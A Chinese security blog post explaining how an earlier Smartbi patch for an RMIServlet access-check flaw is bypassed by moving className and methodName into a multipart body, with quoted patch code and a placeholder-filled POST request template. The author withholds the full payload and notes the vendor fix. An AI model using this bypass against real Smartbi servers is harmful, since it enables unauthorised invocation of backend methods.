浅析Smartbi逻辑漏洞(2)

浅析Smartbi逻辑漏洞(2)

写在前面

仅分享逻辑漏洞部分补丁绕过思路,不提供完整payload

厂商已发布补丁:https://www.smartbi.com.cn/patchinfo

正文

简单提一下,补丁部分由smartbi.security.patch.PatchFilter(来源于SecurityPatchExt.ext)做加载并处理,这里我们主要关注补丁返回的状态码的具体含义即可,可以看到只有返回0的时候,filter链才能继续通过doFilter继续传递

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Iterator var10 = rules.iterator();

while(var10.hasNext()) {
URLPatchRule rule = (URLPatchRule)var10.next();
int result = rule.patch(uri, req, resp, chain);
switch (result) {
case 0:
default:
break;
case 1:
resp.sendError(403);
return;
case 2:
return;
}
}

chain.doFilter(request, response);

首先我们看看老板本对这点的patch的部分,如果queryString以windowUnloading开头,那么会做两件事,首先通过request.getParameter获取ClassName与MethodName的值,接着对windowUnloading中的值做解码并赋值给urlClassName与urlMethodName参数,最后补丁中会对request.getParameter与解码的值做对比,如果其中classname与methodname值不相等,那么就会返回1,也就是做拦截

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public int patch(HttpServletRequest request, HttpServletResponse response, FilterChain chain) {
return this.assertQueryString(request);
}

private int assertQueryString(HttpServletRequest request) {
String query = request.getQueryString();
if (StringUtil.isNullOrEmpty(query)) {
return 0;
} else if (!query.startsWith("windowUnloading")) {
return 0;
} else if (!query.startsWith("windowUnloading=&") && !query.startsWith("windowUnloading&")) {
return 1;
} else {
String paramClassName = request.getParameter("className");
String paramMethodName = request.getParameter("methodName");
if (!StringUtil.isNullOrEmpty(paramClassName) && !StringUtil.isNullOrEmpty(paramMethodName)) {
try {
String content = "";
String windowUnloadingStr = query.length() > "windowUnloading".length() && query.charAt("windowUnloading".length()) == '=' ? "windowUnloading=&" : "windowUnloading&";
if (query.length() > windowUnloadingStr.length()) {
content = query.substring(windowUnloadingStr.length());
if (content.endsWith("=")) {
content = content.substring(0, content.length() - 1);
}

content = URLDecoder.decode(content, "UTF-8");
}

String urlClassName = "";
String urlMethodName = "";
if (content.indexOf("className=") == -1 && content.indexOf("methodName=") == -1) {
String[] decode = RMICoder.decode(content);
urlClassName = decode[0];
urlMethodName = decode[1];
} else {
Map<String, String> map = HttpUtil.parseQueryString(content);
urlClassName = (String)map.get("className");
urlMethodName = (String)map.get("methodName");
}

if (StringUtil.isNullOrEmpty(urlClassName) && StringUtil.isNullOrEmpty(urlMethodName)) {
return 0;
} else {
return paramClassName.equals(urlClassName) && paramMethodName.equals(urlMethodName) ? 0 : 1;
}
} catch (Exception var10) {
return 0;
}
} else {
return 0;
}
}

那么我们可以思考这样的方式真的有效么?答案当时是否

在上篇文章中我们就提到,在CheckIsLoggedFilter中如果不考虑解码操作,对于classname与methodname的获取,有三种方式GET\POST\Multipart(这里POST指标准形式通过Body传参),补丁的操作是比对request.getParameteter与windowUnloading解码的值是否一致,我曾经也在其他文章当中写到过,在tomcat环境下,request.getParameteter只能获取到GET与POST,对于Multipart默认情况下是不做支持的(需要单独配置才能开启),当然这里也是没配置

我们也可以通过diff发现,如果content-type头以multipart开头就会返回状态1,也就是拦截

image-20230823005953570

在上面的基础上我们很容易就可以构造出这样形式的请求包,像之前那样通过windowUnloading绕过方法校验限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /smartbi/vision/RMIServlet?windowUnloading=xxxx HTTP/1.1
Host: xxxx
Content-Type: multipart/form-data;charset=UTF-8;boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA
Connection: close

------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="className"

xxxService
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="methodName"

xxx
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="params"

['xxx']
------WebKitFormBoundaryrGKCBY7qhFd3TrwA

我们将真正要掉用的方法放在multipart中,由于此时request.getParameter取值为null,StringUtil.isNullOrEmpty为true,自然也就绕过了补丁的限制

1
2
3
4
5
6
7
8
if (!query.startsWith("windowUnloading")) {
return 0;
} else if (!query.startsWith("windowUnloading=&") && !query.startsWith("windowUnloading&")) {
return 1;
} else {
String paramClassName = request.getParameter("className");
String paramMethodName = request.getParameter("methodName");
if (!StringUtil.isNullOrEmpty(paramClassName) && !StringUtil.isNullOrEmpty(paramMethodName)) {

最终在RMIServlet解析参数时,又单独对multipart做了处理,这时我们真正要掉用的恶意类与方法又成功恢复出来,完成了老补丁的绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public static RMIInfo parseRMIInfo(HttpServletRequest request, boolean forceParse) {
if (!"/vision/RMIServlet".equals(request.getServletPath()) && !forceParse) {
return null;
} else {
RMIInfo info = getRMIInfoFromRequest(request);
if (info != null) {
return info;
} else {
String className = request.getParameter("className");
String methodName = request.getParameter("methodName");
String params = request.getParameter("params");
if (StringUtil.isNullOrEmpty(className) && StringUtil.isNullOrEmpty(methodName) && StringUtil.isNullOrEmpty(params) && request.getContentType() != null && request.getContentType().startsWith("multipart/form-data;")) {
DiskFileItemFactory dfif = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(dfif);
String encodeString = null;

try {
List<FileItem> fileItems = upload.parseRequest(request);
request.setAttribute("UPLOAD_FILE_ITEMS", fileItems);
Iterator var10 = fileItems.iterator();

while(var10.hasNext()) {
FileItem fileItem = (FileItem)var10.next();
if (fileItem.isFormField()) {
String itemName = fileItem.getFieldName();
String itemValue = fileItem.getString("UTF-8");
if ("className".equals(itemName)) {
className = itemValue;
} else if ("methodName".equals(itemName)) {
methodName = itemValue;
} else if ("params".equals(itemName)) {
params = itemValue;
} else if ("encode".equals(itemName)) {
encodeString = itemValue;
}
}
}
} catch (UnsupportedEncodingException | FileUploadException var14) {
LOG.error(var14.getMessage(), var14);
}

if (!StringUtil.isNullOrEmpty(encodeString)) {
String[] decode = (String[])((String[])CodeEntry.decode(encodeString, true));
className = decode[0];
methodName = decode[1];
params = decode[2];
}
}

if (className == null && methodName == null) {
className = (String)request.getAttribute("className");
methodName = (String)request.getAttribute("methodName");
params = (String)request.getAttribute("params");
}

info = new RMIInfo();
info.setClassName(className);
info.setMethodName(methodName);
info.setParams(params);
request.setAttribute("ATTR_KEY_RMIINFO", info);
return info;
}
}
}

当然还有些东西只能说,懂得都懂